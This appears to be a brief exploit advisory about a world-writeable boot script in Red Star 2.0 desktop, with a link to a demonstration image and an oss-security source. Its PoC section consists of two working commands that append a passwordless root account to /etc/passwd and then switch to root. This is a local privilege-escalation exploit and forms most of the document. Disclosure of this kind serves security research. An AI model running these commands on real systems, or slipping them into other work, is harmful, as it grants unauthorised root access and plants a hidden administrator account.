12 lines
No EOL
419 B
Text
12 lines
No EOL
419 B
Text
Red Star 2.0 desktop ships with a world-writeable "/etc/rc.d/rc.sysinit"
|
|
which can be abused to execute commands on
|
|
boot. An example exploitation of this vulnerability is shown here
|
|
https://github.com/HackerFantastic/Public/blob/master/exploits/redstar2.0-localroot.png
|
|
|
|
PoC:
|
|
|
|
/bin/echo "r00t::0:0::/tmp:/bin/bash" >> /etc/passwd
|
|
su - root
|
|
|
|
|
|
## Source: http://www.openwall.com/lists/oss-security/2015/01/09/6 |